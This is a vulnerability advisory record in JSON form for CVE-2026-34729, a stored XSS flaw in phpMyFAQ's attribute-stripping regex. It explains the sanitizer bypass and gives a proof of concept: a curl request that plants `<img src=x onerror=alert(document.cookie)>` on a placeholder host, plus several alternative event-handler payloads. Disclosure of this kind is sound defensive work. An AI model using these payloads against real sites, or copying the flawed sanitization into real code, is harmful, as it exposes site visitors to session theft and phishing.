{"id":"CVE-2026-34729","aliases":["GHSA-cv2g-8cj8-vgc7"],"url":"https://o3.security/vulnerability/CVE-2026-34729","summary":"phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()","details":"### Summary\nThe sanitization pipeline for FAQ content is:\n1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` — encodes `<`, `>`, `\"`, `'`, `&` to HTML entities\n2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` — decodes entities back to characters\n3. `Filter::removeAttributes($input)` — removes dangerous HTML attributes\n\nThe `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:\n```php\npreg_match_all(pattern: '/[a-z]+=\".+\"/iU', subject: $html, matches: $attributes);\n```\n\nThis regex does NOT match:\n- Attributes with single quotes: `onerror='alert(1)'`\n- Attributes without quotes: `onerror=alert(1)`\n\nAn attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174\n\n**Sanitization flow for FAQ question field:**\n\n`FaqController::create()` lines 110, 145-149:\n```php\n$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);\n// ...\n->setQuestion(Filter::removeAttributes(html_entity_decode(\n    (string) $question,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: 'UTF-8',\n)))\n```\n\n**Template rendering:** `faq.twig` line 36:\n```twig\n<h2 class=\"mb-4 border-bottom\">{{ question | raw }}</h2>\n```\n\n**How the bypass works:**\n\n1. Attacker submits: `<img src=x onerror=alert(1)>`\n2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `&lt;img src=x onerror=alert(1)&gt;`\n3. After `html_entity_decode()`: `<img src=x onerror=alert(1)>`\n4. `preg_match_all('/[a-z]+=\".+\"/iU', ...)` runs:\n   - The regex requires `=\"...\"` (double quotes)\n   - `onerror=alert(1)` has NO quotes → NOT matched\n   - `src=x` has NO quotes → NOT matched\n   - No attributes are found for removal\n5. Output: `<img src=x onerror=alert(1)>` (XSS payload intact)\n6. Template renders with `|raw`: JavaScript executes in browser\n\n**Why double-quoted attributes are (partially) protected:**\n\nFor `<img src=\"x\" onerror=\"alert(1)\">`:\n- The regex matches both `src=\"x\"` and `onerror=\"alert(1)\"`\n- `src` is in `$keep` → preserved\n- `onerror` is NOT in `$keep` → removed via `str_replace()`\n- Output: `<img src=\"x\">` (safe)\n\nBut this protection breaks with single quotes or no quotes.\n\n### PoC\n\n**Step 1: Create FAQ with XSS payload (requires authenticated admin):**\n```bash\ncurl -X POST 'https://target.example.com/admin/api/faq/create' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=admin_session' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"valid_csrf_token\",\n      \"question\": \"<img src=x onerror=alert(document.cookie)>\",\n      \"answer\": \"Test answer\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"test\",\n      \"author\": \"test\",\n      \"email\": \"test@test.com\"\n    }\n  }'\n```\n\n**Step 2: XSS triggers on public FAQ page**\n\nAny user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:\n```\nhttps://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html\n```\n\nThe FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`).\n\n**Alternative payloads:**\n```html\n<img/src=x onerror=alert(1)>\n<svg onload=alert(1)>\n<details open ontoggle=alert(1)>\n```\n\n### Impact\n\n- **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins.\n- **Session hijacking:** Steal session cookies of all users viewing the FAQ.\n- **Phishing:** Display fake login forms to steal credentials.\n- **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload.\n- **Malware distribution:** Redirect users to malicious sites.\n\n**Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.","published":"2026-04-02T14:46:22.056Z","modified":"2026-10-28T02:31:04.134977007Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"phpmyfaq/phpmyfaq","fixedVersion":"4.1.1"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34729.json"},{"type":"ADVISORY","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34729"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:04.134977007Z"}}